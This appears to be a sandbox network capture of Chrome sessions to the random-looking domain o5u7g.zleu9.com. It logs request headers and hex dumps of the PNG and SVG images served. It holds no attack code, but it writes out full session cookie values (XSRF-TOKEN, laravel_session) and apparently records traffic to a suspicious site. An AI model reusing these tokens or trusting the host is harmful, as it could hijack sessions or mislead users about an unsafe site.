2024-04-24 06:22:05 UTC	1369	IN	Data Raw: 1e b6 3d fe fe b8 49 3d 0b 0d bb 15 23 7a c3 f6 9f 10 b4 d7 78 70 15 82 11 aa ea 10 fd e6 2d 17 18 50 0f 64 d6 4b ca 96 ad db 50 b6 8c 97 56 b1 b8 7e 23 9c eb 12 d2 99 f6 67 69 69 85 d1 53 e7 ca a9 1d 11 7e 8d 3e 8b 27 04 5e a3 4e 7d 04 34 6a 2e 97 03 9f 24 cc d9 b7 7d a3 e4 56 7f 31 4f 34 6b d7 29 53 0a 5d 52 87 6c bb 23 8b fa 64 4b 5e 1b 73 7c 4c 4c a6 1f 91 5b f5 3b ff 69 a9 2a 64 99 ea 93 85 77 13 e6 9e c3 f9 ab 92 0c 7a 65 4b 16 c4 da 3f 9b c0 2c 77 2e 95 64 a7 99 97 82 b9 7d 4b 5e b0 67 44 af 12 f4 74 cf fb 80 32 65 30 a0 6c 19 8d 57 d2 ab d6 b3 f2 b5 c9 b3 fb bf 23 ee 60 c5 dd 7b ca 37 12 59 4d 46 f4 22 73 a8 1e cc e1 65 80 d5 83 de 1a 75 f9 df a6 cd dc b4 a9 53 a8 8c 7a f5 02 f0 d7 5f 8b 74 82 43 fd c0 40 2e fa f5 6b da 6f df 61 a3 51 b8 88 3b e2 Data Ascii: =I=#zxp-PdKPV~#giiS~>'^N}4j.$}V1O4k)S]Rl#dK^s\|LL[;i*dwzeK?,w.d}K^gDt2e0lW#`{7YMF"seuSz_tC@.koaQ;
2024-04-24 06:22:05 UTC	1369	IN	Data Raw: a6 a8 5e 3b 00 b9 72 c9 6f 4f 23 5b e5 c8 6a fa d8 b7 92 63 74 49 29 ea 56 08 bd 82 4b a0 55 90 a7 90 e1 ce 52 37 6d dc b2 cf e8 88 11 7d f6 e1 40 08 9e 10 3d df 25 39 25 05 4f a3 62 f0 fa 4d 1c 3e 26 7d 42 4a 4a 2a f2 da 58 c1 3e bf 2d 8a 16 76 42 3e 5b 1b be bb a4 f2 12 53 52 30 fa e2 65 ec 7f fe 5c 2b f2 85 24 94 11 bd 90 bc 61 98 ba e8 9c e8 f4 05 d3 83 c8 48 ae 75 4b c9 fe f1 bc 79 6d b1 6d c7 0e b8 ba 38 eb c5 fe b9 7f fc c1 ad 5a b9 92 ea 62 63 6b 87 fe 3f 8f a1 09 72 64 0b 49 76 43 9e c3 df 8f b8 29 f7 39 59 57 d0 ad 5b 77 38 98 1e 43 ae 54 c3 7a 4e c9 99 58 22 d9 ae 0b ac ac f2 6b 05 77 46 f4 59 5f 5d 2e d6 56 f8 d3 af 26 aa 38 f0 7b e7 e7 65 f4 5b 5c bb fd 00 29 a9 69 d9 5e d6 c5 5c 9d e0 5b b6 24 34 38 4a 21 5b d9 c7 a3 5e e1 e7 f3 e7 91 90 fc Data Ascii: ^;roO#[jctI)VKUR7m}@=%9%ObM>&}BJJ*X>-vB>[SR0e\+$aHuKymm8Zbck?rdIvC)9YW[w8CTzNX"kwFY_].V&8{e[\)i^\[$48J![^
2024-04-24 06:22:05 UTC	1369	IN	Data Raw: 18 2e 6a 7b b3 c3 33 e9 f3 67 ce 34 f9 1e 4c 93 1f 22 57 ca 53 5e 60 27 47 cc a6 99 97 40 9a 79 69 58 5b d9 09 02 57 46 f4 df 5d 5b b5 50 21 6c 69 50 9f 17 5f ff 28 e4 c0 c9 4b f8 f4 e5 fb 09 88 ca 76 e2 5f a5 3c 1c 0b 66 7f b6 82 b2 72 b2 aa 47 96 0c 04 ed 3f 80 07 1f c4 97 ff 9e 11 bd 26 91 c1 da 12 04 04 31 40 6b c3 15 09 89 49 5c ed 5a 7e 48 49 91 64 cd 5a b7 7e 03 7c 2b fa 88 d6 5e 65 31 fc f4 29 9e cb 95 f2 82 66 d5 33 49 7b 83 5c a9 af 15 37 35 31 05 97 2b 3f be e5 76 c2 b7 dc ce f8 96 bb 08 ac ac ed 05 87 25 23 fa ef ae 0c f6 28 8e d9 d5 ab 29 f6 ad 1a 35 ce 85 45 e0 f5 1b d5 b7 73 b6 ac 5f 13 66 66 b9 d5 e8 51 b9 26 7d 4f 9d 41 e8 cb 97 ca 55 36 a0 5a 8c e8 0d c8 59 02 55 55 70 83 35 5f 38 6d dd be 9d 9b 34 61 02 15 e7 e7 57 0b cb 97 2f 13 ad ad Data Ascii: .j{3g4L"WS^`'G@yiX[WF][P!liP_(Kv_<frG?&1@kI\Z~HIdZ~\|+^e1)f3I{\751+?v%#()5Es_ffQ&}OAU6ZYUUp5_8m4aW/
2024-04-24 06:22:05 UTC	237	IN	Data Raw: 93 bf e2 f1 83 7b 08 bb 7c 1e 0f ee dc 92 d6 f3 f6 f1 c1 46 b6 c5 4e 1c d1 aa c0 0a 46 f4 f2 00 cd aa 5e 15 1d 3c 54 df c3 be f7 f8 05 de 9e c7 ab 12 78 7e be 65 e1 5c a8 a0 2a 4d a4 75 ff bd 77 1f 53 af 85 a9 d5 56 e8 8d 18 d1 0b dd 43 c2 d7 cf 20 88 be 73 e7 10 2e 3c 5c 92 c3 da 2e 5f 7e b4 e9 dc 03 ee c5 b3 5f 51 7c ed e2 59 ec dd b6 51 8a 7e a7 ce 21 f8 75 fc 38 83 b0 55 f8 21 23 5c 0d 19 d1 cb fb 46 9d 13 ec 94 d9 1b af ad 08 28 e3 e9 0e f2 52 a7 90 8c 78 24 33 9e 18 0b 23 7a 31 7a 55 b7 36 09 9e fc 36 6d d9 c2 4d 9d 3c 99 a2 62 6a 6a 8a 3e 43 46 c2 d9 d5 4d 21 4a 61 97 ce 61 cf d6 0d d2 7a 5b b6 6e 43 d9 32 5e 82 b7 57 a1 61 ac 42 b6 08 30 a2 97 87 c6 3d af 0d 36 05 d6 87 b3 95 f2 e9 67 95 c9 76 Data Ascii: {\|FNF^<Tx~e\*MuwSVC s.<\._~_Q\|YQ~!u8U!#\F(Rx$3#z1zU66mM<bjj>CFM!Jaaz[nC2^WaB0=6gv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	49805	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:04 UTC	1114	OUT	GET /wxWSoCFL9zms6gSg3cOqXHoUWbqrInujjGZw2Rn6TuCvw2G12124 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3D
2024-04-24 06:22:05 UTC	646	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:05 GMT Content-Type: image/png Content-Length: 231 Connection: close Content-Disposition: inline; filename="wxWSoCFL9zms6gSg3cOqXHoUWbqrInujjGZw2Rn6TuCvw2G12124" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BcxY2arC269TQJcHte2BHiv5GatEBMHmPjCEwi5v%2FBHsuzBgcbNAvUBsmUJTSFDrjcRD5Bz2K5qS0%2F9gfJuXseBL6Fn2pbVfHMiBAxCeEO6uwROi6%2B%2BY3rQtHK80mA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff30af74092c-LAX
2024-04-24 06:22:05 UTC	231	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 18 08 06 00 00 00 e0 77 3d f8 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 a1 49 44 41 54 48 4b ed 93 b1 0d 02 31 10 04 e7 5a a0 0c aa b8 12 a8 80 9c 2e 20 23 24 23 a5 94 2d e1 cb 20 24 24 33 b2 f4 48 1f 80 cf bc 71 80 78 a7 3e ed 78 c7 b6 d1 79 59 e7 7c 16 40 68 f8 8f 14 b9 fb 05 18 24 9d 42 2f 93 81 2a 45 63 f8 0a d8 4a ba 7d 15 d0 12 9e 0f 52 6c d0 1a 5e 04 8c e1 1b e0 0c dc 23 2d 92 0e af 66 de 36 70 f7 63 4a 69 67 66 b5 80 fd 47 80 3c 9c 21 c0 7a ce e5 3e 61 e1 2b 6a 85 84 80 d6 26 55 80 09 e4 da e5 a3 45 2f a8 b4 5f dd 60 2e 64 01 84 e6 7e 5f d1 03 bf ca 37 19 0c 18 34 60 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRw=sRGBIDATHK1Z. #$#- $$3Hqx>xyY\|@h$B/*EcJ}Rl^#-f6pcJigfG<!z>a+j&UE/_`.d~_74`IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	49806	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:04 UTC	1104	OUT	GET /opRczFJO6qO9TynYukVt7refB4XpmCzoG38NQ45140 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3D
2024-04-24 06:22:05 UTC	636	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:05 GMT Content-Type: image/png Content-Length: 727 Connection: close Content-Disposition: inline; filename="opRczFJO6qO9TynYukVt7refB4XpmCzoG38NQ45140" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ftog51g9rs4VDPSgaaYgVU2el%2BB9DI8NXRoFGUSs21F3OklSK0MVxY%2FUxjP8GT9aBR1%2BtSjgBNbbBM2d7cSY2wtyba6NHPfqwUYSLo4O0k8WIl9WPOTE%2FdmMbNz2Ng%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff30a80b08d2-LAX
2024-04-24 06:22:05 UTC	727	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 06 00 00 00 57 02 f9 87 00 00 02 9e 49 44 41 54 68 43 ed 97 81 51 1c 31 0c 45 8f 0e a0 83 a3 03 e8 60 a9 00 a8 20 a4 02 a0 82 90 0a a0 03 ae 83 90 0a b2 54 00 1d e4 3a 80 0e c8 7f 37 72 c6 ec dc ad e5 b5 73 77 3b 59 cf 68 18 f6 64 4b 5f 5f 92 e5 83 d9 c8 d7 c1 c8 fd 9f 4d 00 76 cd e0 c4 c0 c4 40 61 04 fe df 14 6a 9a e6 50 c1 3b 91 9c 4b 1a 09 ff b3 5e 25 ef 92 e7 b6 6d 17 85 01 4e 6e 1f c4 80 9c bf d1 c9 d7 92 79 d2 c2 6c f6 5d 40 ee 1c 7a 83 54 b2 00 58 d4 1f 65 e9 c2 ac b5 44 5a f2 24 59 1a 0b b0 12 98 e1 6f 60 e5 4c 40 60 a6 ea 72 03 30 e7 7f 99 73 38 42 64 1f fa bc 31 a6 ee 4d 87 3d c7 b5 41 e4 00 f8 61 91 27 c7 2f e5 08 11 4f 2e 81 80 05 40 34 12 6d 6b cf 92 9b 32 14 5c 00 a2 Data Ascii: PNGIHDR00WIDAThCQ1E` T:7rsw;YhdK__Mv@ajP;K^%mNnyl]@zTXeDZ$Yo`L@`r0s8Bd1M=Aa'/O.@4mk2\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49804	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:04 UTC	1129	OUT	GET /rsfAsqHuLsXFgw6UDvoIUuvHOsf7LZhZuT3HwX7S8quvaFmUD9N38UmiF476dNcd194 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3D
2024-04-24 06:22:05 UTC	676	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:05 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="rsfAsqHuLsXFgw6UDvoIUuvHOsf7LZhZuT3HwX7S8quvaFmUD9N38UmiF476dNcd194" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qL0bA%2BaI50%2FRz09pOPVJkYkJDeUS7HP0QNMfuU%2F10q5zzFRPpg3Mlk%2FwoyaHQypyz1IR2ldBWktIOybn4zXwBQNT8EIm8vksr4YwGNO2%2B9YqJbpDEisbTn21yd%2BdXQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff30ac6c7d80-LAX
2024-04-24 06:22:05 UTC	275	IN	Data Raw: 31 30 63 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 31 30 2c 33 32 48 33 38 56 31 38 2e 31 32 35 4c 32 34 2c 32 35 2e 31 30 39 2c 31 30 2c 31 38 2e 31 32 35 56 33 32 6d 2e 32 33 34 2d 31 36 4c 32 34 2c 32 32 2e 38 39 31 2c 33 37 2e 37 36 36 2c 31 36 48 31 30 2e 32 33 34 4d 34 30 2c 33 34 48 38 56 31 34 48 34 30 5a 22 20 66 69 6c 6c Data Ascii: 10c<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill
2024-04-24 06:22:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49803	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:04 UTC	1495	OUT	GET /uvrv0nvmDOsXHKV34pwPipAsKsHSlDlCvdeuw2pQxymnju5Vc2hvOQdNMRr6sQunMUef253 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik9wK1JyWUV6OUdUYk9KbjRRdHBjMkE9PSIsInZhbHVlIjoiRFozeDRRTW5UMWxNdnBlblBwd1cyUFNmdHZRdWpOZ0JoS2lHdTlMeVd5TVlFTVRDbTI1WDZ2K0dJTWZjSkYydXcweUJNcXRoK0txMTJJVHcxS2grbmZyQUtRNzFlcWJiRTA2L004SzFHNmZ0Z1FjcVZzNkRmRnZubHBaVzc3Q2ciLCJtYWMiOiI5OGMwOTBlNWQ0ZGVkMWQwNzZlNzcxZDg1ZDdkMjBjY2NjZDk5OTgxM2NmZDRlNzhhMGQ4YTY4YThhZGRjZWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJPTWNiNTduSTNZbko4U0lGbDJ4OFE9PSIsInZhbHVlIjoicHpDMHpaRSsvaHZYWk5FZXp1aWQ0aThlS2ppQUdDNW1wdlhqZi9xVU5VRTJNb2dMUElaM3Iwc1prNFAwbkp3RUozenZKT2E5Rzg5RGJ0L3MrMG43N1daSG9jMVFxemFhYTNPU2QwcG0rczVqbXFqOTdMWXpJa3U0a2xWMW44MXkiLCJtYWMiOiIzMTM5ZDQ0NmFiZjRjMWY1NjMwMjI2M2QxNjhlOGNlODYyYjc5ZWNkZWZhNzFlYmViNGNmY2ZjZTk3YzU4Y2FjIiwidGFnIjoiIn0%3D
2024-04-24 06:22:05 UTC	669	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:05 GMT Content-Type: image/png Content-Length: 70712 Connection: close Content-Disposition: inline; filename="uvrv0nvmDOsXHKV34pwPipAsKsHSlDlCvdeuw2pQxymnju5Vc2hvOQdNMRr6sQunMUef253" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KClzKfxBcaL8SVGt2KdynRyqPjS3omAQdvpAnl%2BABJ%2B1x9EsQvT2vsaxyMVRmPEnaXgkCV%2FNHvXbDwDL254WKvcsX0ZZluxxlPheeRFYv3st5StHrBPAa0usa%2Fh%2Brg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff306d8b311c-LAX
2024-04-24 06:22:05 UTC	700	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 8e 00 00 03 83 08 06 00 00 00 11 c6 07 ce 00 00 20 00 49 44 41 54 78 01 ec dd cf 71 e3 c6 b6 07 e0 09 c1 21 38 04 6f 6e 95 97 13 c2 ac df 7b 0b 87 a0 12 34 7b ef ef 7b 55 0a 41 21 78 e7 ed 84 a0 10 74 33 50 06 7e d5 53 38 36 0d 13 10 4e 13 7f 1a e0 37 55 53 4d 89 0d 10 f8 70 9a 22 1b 3f 82 9f 3e f9 47 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 Data Ascii: PNGIHDR IDATxq!8on{4{{UA!xt3P~S86N7USMp"?>G @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 06:22:05 UTC	1369	IN	Data Raw: 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 06:22:05 UTC	1369	IN	Data Raw: 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 06:22:05 UTC	1369	IN	Data Raw: 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 06:22:05 UTC	1369	IN	Data Raw: 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
